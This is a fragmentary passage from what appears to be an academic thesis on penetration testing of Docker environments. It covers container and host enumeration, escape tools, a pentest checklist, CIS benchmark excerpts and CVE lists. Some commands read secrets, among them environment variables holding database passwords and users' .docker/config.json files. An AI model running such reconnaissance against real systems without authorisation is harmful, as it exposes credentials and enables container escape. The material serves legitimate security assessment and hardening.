11:blkio:/
...
Listing 6.2: Process control groups on the host.
In some systems that are using Docker (e.g. orchestration software), the
parent control group has another name (e.g. kubepod for Kubernetes).
2
Long lines have been abbreviated with “. . .”.
45
operating system, the container image, the host operating system and weak
spots in the container.
Many Docker images are stripped from unnecessary tools, binaries and
libraries to make the image smaller. However, we might need those tools
during a penetration test. If we are root in a container, we are most likely
able to install the necessary tooling. If we only have access to a non-root
user, it might not be possible to install anything. In that case, we will have
to work with what is available to us or find a way to get statically compiled
binaries inside the container.
We see that our current user is root (the user id is 0) and that there are
two users (besides the default users in Linux). By default, containers run as
root. That is great from an attackers perspective, because it allows us full
access to everything inside the container. A well configured container most
likely does not run as root (see section 3.2.6.5).
3
Although this file was introduced by systemd, operating systems that explicitly do
not use systemd (e.g. Void Linux) do use /etc/os-release.
46
To get a better idea of what a container is supposed to do, we can look
at the processes. Because containers should only have a singular task (e.g.
running a database), they should only have one running process.
(host)$ docker run --rm -e MYSQL_RANDOM_ROOT_PASSWORD=true --
name=database mariadb:latest
...
(host)$ docker exec database ps -A -o pid,cmd
PID CMD
1 mysqld
320 ps -A -o pid,cmd
Listing 6.5: A container only has one process.
In this example, we see that the image mariadb only has one process
(mysqld).4 This way we know that the container is a MySQL server and is
probably (based on) the default MySQL Docker image (mariadb).
4
We also see our process listing all processes (with process id 320).
47
6.1.2.4 Reading Environment Variables
The environment variables are a way to communicate information to con-
tainers when they are started. When a container is started, environment
variables are passed to it. These variables often contain passwords and
other sensitive information.
We can list all the environment variables that are set inside a Docker
using the env command (or by looking at the /proc/pid/environ file of a
process).
(host)$ docker run --rm -e MYSQL_ROOT_PASSWORD=supersecret --
name=database mariadb:latest
(host)$ docker exec -it database bash
(cont)# env
...
MYSQL_ROOT_PASSWORD=supersecret
...
Listing 6.7: Listing all environment variables in a container
We see five different values that describe the capabilities of the process:
5
self in /proc/self/ refers to the current process.
48
• CapPrm: The permitted capabilities are the maximum capabilities that
a process can use.
• CapEff: The capabilities the process has.
• CapBnd: The capabilities that are permitted in the call tree.
• CapAmb: Capabilities that non-root child processes can inherit.
We are interested in the CapEff value, because that value represents
the current capabilities. The capabilities are represented as a hexadecimal
value. Every capability has a value and the CapEff value is the combination
of the values of granted capabilities. We can use the capsh tool to get a
list of capabilities from a hexadecimal value (this can be run on a different
system).
(host)$ capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,
cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,
cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,
cap_audit_write,cap_setfcap
Listing 6.9: capsh shows capabilities.
We can use this to check if there are any capabilities that can be used
to escape the Docker container (see section 5.1.4).
49
If we find a privileged container, we can easily escape it (as shown in
section 5.1.3).
Every line contains information about one mount. We see many lines
(which are abbreviated or omitted from Listing 6.11). We see the root
OverlayFS mount at the top and to what path it points on the host (some
path in /var/lib/docker/overlay2/). We also see which directories are
mounted from the root file system on the host (which in this case is the
LVM logical volume root which is represented in the file system as /dev/
mapper/ubuntu--vg-root). In the command we can see that /tmp on the
host is mounted as /host/tmp in the container and in /proc/mounts we see
that /host/tmp is mounted. We unfortunately do not see what path on the
host is mounted, only the path inside the container.
We now know this is an interesting path, because its contents need to
be persistent. During a penetration test, this would be a directory to pay
extra attention to.
50
(host)$ docker run -it --rm -v /var/run/docker.sock:/var/run/
docker.sock ubuntu grep docker.sock /proc/mounts
tmpfs /run/docker.sock tmpfs rw,nosuid,noexec,relatime,size
=792244k,mode=755 0 0
Listing 6.12: docker.sock in /proc/mounts.
We can look at the Docker network by using nmap (which we will have
to install ourselves).
(host)$ docker run -it --rm ubuntu bash
(cont)# apt update
...
(cont)# apt install nmap
...
(cont)# nmap -sn -PE 172.17.0.0/16
...
Nmap scan report for 172.17.0.1
51
Host is up (0.000044s latency).
MAC Address: 02:42:5F:92:ED:72 (Unknown)
Nmap scan report for 172.17.0.3
Host is up (0.000027s latency).
MAC Address: 02:42:AC:11:00:03 (Unknown)
Listing 6.15: nmap scan inside container.
Once we have the Docker version, we should check for any CVEs (see
section 5.2 and Appendix B) that are available for the version of the Docker
installation on the host.
52
That is why the first thing we should do is see which users have read and
write access to the Docker socket. This is shown in Listing 3.5.
By default, root and every user in the docker group has read and write
permissions to the socket.
We can see who is in the docker group by looking in /etc/group.
$ grep docker /etc/group
docker:x:999:jvrancken
Listing 6.17: See what users are in the docker group.
We see that only jvrancken is part of the docker group. It might also
be interesting to look at which users have sudo rights (in /etc/sudoers).
Users without sudo but with Docker permissions still need to be considered
sudo users (see section 5.1.1).
It is also possible that the setuid bit is set on the Docker client. In that
case, we are also able to use Docker (as discussed in section 5.1.1.3).
(host)$ ls -l $(which docker)
-rwxr-xr-x 1 root root 88965248 nov 13 08:28 /usr/bin/docker
(host)# chmod +s $(which docker)
(host)$ ls -l $(which docker)
-rwsr-sr-x 1 root root 88965248 nov 13 08:28 /usr/bin/docker
Listing 6.18: Permissions without and with the setuid bit.
6.1.3.3 Configuration
Docker is configured using multiple files. The most important being the way
the Docker daemon is started. Most systems will have a service manager
that manages daemon processes. On many modern Linux distributions that
is a task of systemd. On other Linux systems the configuration file /etc/
docker/daemon.json7 is used (and defaults might be set in /etc/default/
docker). These files will also tell us if the Docker API is available over TCP
which, if not configured correctly, can be dangerous (see section 5.1.5.3).
We can also look for user configuration files, that might contain secrets
and sensitive data. See section 5.1.2 for more information.
53
(host)$ docker images -a
REPOSITORY TAG IMAGE ID CREATED SIZE
mariadb latest c1c9e6fba07a 2 weeks ago 355MB
ubuntu latest 775349758637 4 weeks ago 64.2MB
alpine 3 965ea09ff2eb 6 weeks ago 5.55MB
alpine latest 965ea09ff2eb 6 weeks ago 5.55MB
centos latest 0f3e07c0138f 2 months ago 220MB
(host)$ docker ps -a --no-trunc --format="{{.Names}} {{.
Command}} {{.Image}}"
database "docker-entrypoint.sh mysqld" mariadb:latest
Listing 6.19: Listing all images and containers available.
We should also look at the environment variables that have been passed
to the containers, because environment variables are used to pass informa-
tion (including passwords and secrets) to a container when it is created.
Using docker inspect we can see information about containers. Including
the set environment variables.
(host)$ docker run --rm -e MYSQL_ROOT_PASSWORD=supersecret --
name=database mariadb:latest
(host)$ docker inspect database | jq -r '.[0].Config.Env'
[
"MYSQL_ROOT_PASSWORD=supersecret",
...
Listing 6.20: List environment variables passed to Docker container.
The containers might have volumes. Those volumes tell us more about
where sensitive and important data might be. We can also list the volumes
using docker inspect.
(host)$ docker inspect database | jq -r '.[0].HostConfig.Binds
'
[
"/tmp/database/:/var/lib/mysql/"
]
Listing 6.21: List bindmounts into Docker container.
54
6.2 Automation Tools
Most security assessments are time restricted. Large, complex systems need
to be assessed in a short amount of time. There are tools that automate part
of the assessment process. Instead of taking every step manually, these tools
scan systems automatically and systematically to find known vulnerabilities
and possible weak spots in a system. In this section we will discuss the tools
that help us automate part of the manual steps of section 6.1 to identify and
exploit the vulnerabilities we discussed in chapter 5.
As we will see, most tools have a specific focus (e.g. a single vulnerability
or part of a system). This makes it is harder to separate them into groups
that correspond to the attacker models of chapter 4. We instead separate
them into groups that match their purpose: host configuration scanners
(section 6.2.1), Docker image analysis tools (section 6.2.2) and exploitation
tools (section 6.2.3).
6.2.1.2 Dockscan
Dockscan9 checks a host and the running containers for misconfigurations
(not every misconfiguration is security related). It is quite old (the last
change is made in august 201610 ) and as such less useful during a penetration
8
https://github.com/docker/docker-bench-security
9
https://github.com/kost/dockscan
10
https://github.com/kost/dockscan/commit/0a21d64
55
test. Dockscan scans for the following misconfigurations:
• The number of changed but not persistent files of running containers.
• Empty passwords in containers (similar to section 5.2.4).
• The number of processes running inside a container.
• Whether a SSH server is running inside a container.
• If a non-stable version of Docker is installed.
• The use of insecure registries.
• Whether memory limits have been set for containers.
• Whether IPv4 traffic forwarding is enabled in Docker.
• Whether a mirror registry is used.
• Whether the AUFS storage driver is used.
• If BOtB finds the Docker socket mounted inside the container (which
we manually do in section 6.1.2.8), BOtB can escape the container
using the same technique we discuss in section 5.1.5.
11
https://github.com/brompwnie/botb
56
• BOtB is able to escape containers using CVE–2019–5736 (see sec-
tion 5.2.3).
6.2.3.2 Metasploit
Metasploit13 is an exploitation framework (not only for Docker). It has some
modules specific to Docker:
6.2.3.3 Harpoon
Harpoon14 is a tool that can identify whether it is running inside a container
by looking at the cgroup (see section 6.1.1.2) and tries to find and escape
using a mounted Docker socket (see section 5.1.5).
12
It should be noted that privileged mode is not needed for this container escape to
work (as discussed in section 5.1.4.1).
13
https://www.metasploit.com/
14
https://github.com/ProfessionallyEvil/harpoon
57
Chapter 7
58
If we are running inside a container, see section 7.2. If not, please see
section 7.3.
59
• Which capabilities do the processes in the container have?
(see section 6.1.2.5)
Get the current capabilities value by running “grep CapEff /proc/
self/status” and decode it with “capsh --decode=value”. capsh
can be run on a different system.
1
https://nvd.nist.gov/
60
• Which CIS Docker Benchmark guidelines are implemented
incorrectly or are not being followed? (see section 6.2.1.1)
Run Docker Bench for Security2 to quickly see which CIS Docker
Benchmark guidelines are not being followed.
• Which users are allowed to interact with the Docker socket?
(see section 6.1.3.2)
Execute “ls -l /var/run/docker.sock” to see the owner and group
of /var/run/docker.sock and which users have read and write access
to it. Users that have read and write permissions to the Docker socket
are allowed to interact with it.
• Who is in the docker group? (see section 6.1.3.2)
Check which users are in the group identified in the previous step (by
default docker) by executing “grep docker /etc/group”.
• Is the setuid bit set on the Docker client binary? (see sec-
tion 6.1.3.2)
Check the permissions (including whether the setuid bit is set) of the
Docker binary by executing “ls -l $(which docker)”.
• What images are available? (see section 6.1.3.4)
List the available images by running “docker images -a”.
• What containers are available? (see section 6.1.3.4)
List all containers (running and stopped) by running “docker ps -a”.
• How is the Docker daemon started? (see section 6.1.3.3)
Check configuration files (e.g. /usr/lib/systemd/system/docker.
service and /etc/docker/daemon.json) for information on how the
Docker daemon is started.
• Do any docker-compose.yaml files exist? (see section 5.1.2 and
section 6.1.3.3)
Find all docker-compose.yaml files using “find / -name "docker-
compose.*"”.
• Do any .docker/config.json files exist? (see section 5.1.2 and
section 6.1.3.3)
Read the config.json files in all directories by running “cat /home
/*/.docker/config.json”.
• Are the iptables rules set for both the host and the contain-
ers? (see section 6.1.3.5)
List the iptables by running “iptables -vnL” and “iptables -t
filter -vnL”.
2
https://github.com/docker/docker-bench-security
61
Chapter 8
Future Work
1
https://kubernetes.io/
2
https://docs.docker.com/engine/swarm/
62
There are also vulnerabilities that are relevant to specific operating sys-
tems. For example, CVE–2019–15752 and CVE–2018–15514 are only rele-
vant on Windows.
It would be interesting (and relevant to penetration testing) to continue
this research by specifically looking at Docker on non-Linux operating sys-
tems.
63
• 4.3: Ensure that unnecessary packages are not installed in the con-
tainer
The second section would contain guidelines that are common mistakes
and pitfalls. These guidelines would be the most useful to the average de-
veloper. For example:
• 4.4 Ensure images are scanned and rebuilt to include security patches
• 4.7 Ensure update instructions are not use alone in the Dockerfile
The last section would describe guidelines that are intended for systems
that need extra hardening. For example:
• 4.1 Ensure that a user for the container has been created
64
Chapter 9
Related Work
A lot has been written about Security and Docker. Most of it focuses on the
defensive perspective, summarizing existing material or on specific parts of
the Docker ecosystem.
In their 2018 paper, A. Martin et al. review and summarize the Docker
ecosystem, its vulnerabilities and relevant literature [35].
A comparison of OS-level virtualization technologies (e.g. containers) is
given in [36].
An in-depth look at the security of the Linux features (e.g. namespaces)
is given in [37].
A more flexible Docker image hardening technique using SELinux poli-
cies is proposed in [38].
In [39] Z. Jian and L. Chen look at a Linux namespace escape and look
at defenses to protect against such an escape.
Memory denial of service attacks from the container to the host and
possible protections against it are described in [40].
A quick overview of penetration testing of Docker environments is given
in [41].
In [42] the authors show the results of their publicly available Docker
image scan. They have looked at 356218 images and have identified and
analyzed vulnerabilities within them.
The research in [43] looks at the security implications of practical use-
cases of using a Docker environment.
The National Computing Center (NCC) group has published multiple
papers on the security of Docker, both from a defensive [44] and offensive [21]
perspective.
65
Chapter 10
Conclusions
66
• Do not solely rely on tools to automate security assessments.
Tools (e.g. we looked at in section 6.2) help automate penetration
tests. They are useful because they save time and systematically look
at target systems. They, however, fall short when it comes to identify-
ing more complex vulnerabilities and covering larger parts of a system.
Most tools are designed to scan for or exploit only one specific vulner-
ability. A detailed, manual assessment will take more time, but will
also uncover more vulnerabilities and weak spots.
67
10.2 Takeaways from a Defensive Perspective
Although, this research focuses on an offensive perspective on Docker, it can
be used to harden and secure a system that uses Docker. When designing or
maintaining a system that uses Docker it is important to keep the following
points in mind.
68
Acknowledgements
I would like to sincerely thank everybody that has helped me with writ-
ing and gave me feedback, especially Erik Poll and Dave Wurtz. I would
also like to thank Secura for allowing me to do this research, giving me a
place to work, giving me access to the practical real-world knowledge of the
employees and giving me a look at how the company works.
69
Bibliography
[3] Dan Walsh. How to run a more secure non-root user container.
http://www.projectatomic.io/blog/2016/01/how-to-run-a-
more-secure-non-root-user-container/.
[4] Andrey Konovalov. Exploiting the linux kernel via packet sockets.
https://googleprojectzero.blogspot.com/2017/05/exploiting-
linux-kernel-via-packet.html.
[6] Jérôme Petazzoni. Docker can now run within Docker. https:
//www.docker.com/blog/docker-can-now-run-within-docker/.
[9] Felix Wilhem. Quick and dirty way to get out of a privileged k8s pod
or docker container by using cgroups release agent feature.
https://twitter.com/_fel1x/status/1151487051986087936.
70
[12] Jen Andre. Docker breakout exploit analysis.
https://medium.com/@fun_cuddles/docker-breakout-exploit-
analysis-a274fff0e6b3.
[16] Cory Sabol. Escaping the Whale: Things you probably shouldn’t do
with Docker (Part 1).
https://blog.secureideas.com/2018/05/escaping-the-whale-
things-you-probably-shouldnt-do-with-docker-part-1.html.
71
[25] Frichetten. CVE-2019-5736-PoC.
https://github.com/Frichetten/CVE-2019-5736-PoC.
72
In 2015 IEEE Conference on Communications and Network Security
(CNS), Sep. 2015.
[39] Zhiqiang Jian and Long Chen. A defense method against docker
escape attack. In Proceedings of the 2017 International Conference on
Cryptography, Security and Privacy, ICCSP ’17, pages 142–146, New
York, NY, USA, 2017. ACM.
[42] Rui Shu, Xiaohui Gu, and William Enck. A study of security
vulnerabilities on docker hub. In Proceedings of the Seventh ACM on
Conference on Data and Application Security and Privacy,
CODASPY ’17, pages 269–280, New York, NY, USA, 2017. ACM.
73
Appendix A
4.8 Ensure setuid and setgid permissions are removed (Not Scored)
Profile Applicability:
Description:
Removing setuid and setgid permissions in the images can prevent privilege escalation
attacks within containers.
Rationale:
setuid and setgid permissions can be used for privilege escalation. Whilst these
permissions can on occasion be legitimately needed, you should consider removing them
from packages which do not need them. This should be reviewed for each image.
Audit:
You should run the command below against each image to list the executables which have
either setuid or setgid permissions:
docker run <Image_ID> find / -perm /6000 -type f -exec ls -ld {} \; 2>
/dev/null
You should then review the list and ensure that all executables configured with these
permissions actually require them.
Remediation:
You should allow setuid and setgid permissions only on executables which require them.
You could remove these permissions at build time by adding the following command in
your Dockerfile, preferably towards the end of the Dockerfile:
Impact:
The above command would break all executables that depend on setuid or setgid
permissions including legitimate ones. You should therefore be careful to modify the
command to suit your requirements so that it does not reduce the permissions of
legitimate programs excessively. Because of this, you should exercise a degree of caution
and examine all processes carefully before making this type of modification in order to
avoid outages.
134 | P a g e
74
Default Value:
Not Applicable
References:
1. http://www.oreilly.com/webops-perf/free/files/docker-security.pdf
2. http://container-
solutions.com/content/uploads/2015/06/15.06.15_DockerCheatSheet_A2.pdf
3. http://man7.org/linux/man-pages/man2/setuid.2.html
4. http://man7.org/linux/man-pages/man2/setgid.2.html
CIS Controls:
Version 6
135 | P a g e
75
Appendix B
• CVE–2019–1020014 • CVE–2014–9357
• CVE–2019–14271 • CVE–2014–6408
• CVE–2016–9962
• CVE–2014–6407
• CVE–2016–8867
• CVE–2015–3629 • CVE–2014–3499
• CVE–2015–3627 • CVE–2014–0047
• CVE–2019–15752
• CVE–2018–15514
• CVE–2019–13509
• CVE–2018–20699
76
• CVE–2018–12608
• CVE–2018–10892
• CVE–2017–14992
• CVE–2015–3631
• CVE–2015–3630
• CVE–2015–1843
• CVE–2014–9358
• CVE–2014–5277
77
Appendix C
As we discussed in section 6.2.2, there are many tools that scan Docker
images for risks. This is a list of existing scanners:
• Clair1
• Clair-scanner2
• Scanner3
• Banyan Collector4
• Trivy5
• Dockle7
• Dagda8
• oscap-docker9
• dockerscan10
1
https://github.com/coreos/clair
2
https://github.com/arminc/clair-scanner
3
https://github.com/kubeshield/scanner
4
https://github.com/banyanops/collector
5
https://github.com/aquasecurity/trivy
6
https://github.com/aquasecurity/microscanner
7
https://github.com/goodwithtech/dockle
8
https://github.com/eliasgranderubio/dagda
9
https://www.open-scap.org/
10
https://github.com/cr0hn/dockerscan
78